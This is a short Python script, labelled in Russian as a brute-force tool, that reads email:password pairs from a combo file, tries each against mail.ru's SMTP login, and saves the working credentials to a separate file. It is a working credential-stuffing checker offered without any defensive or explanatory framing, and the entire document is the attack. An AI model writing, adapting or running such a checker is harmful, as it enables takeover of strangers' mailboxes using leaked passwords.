брут

import smtplib

with open("mailpass.txt") as f:

       for x in f.readlines():

               login = x.split(":")[0]

               password = x.split(":")[1].strip('\n')

               mail = smtplib.SMTP_SSL("smtp.mail.ru", 465)

               try:

                       mail.login(login, password)

                       print("Валид! " + login)

                       with open("valid_mail.txt", "a") as valid:

                               valid.write(login + ":" + password)

               except:

                       print(login)

                       pass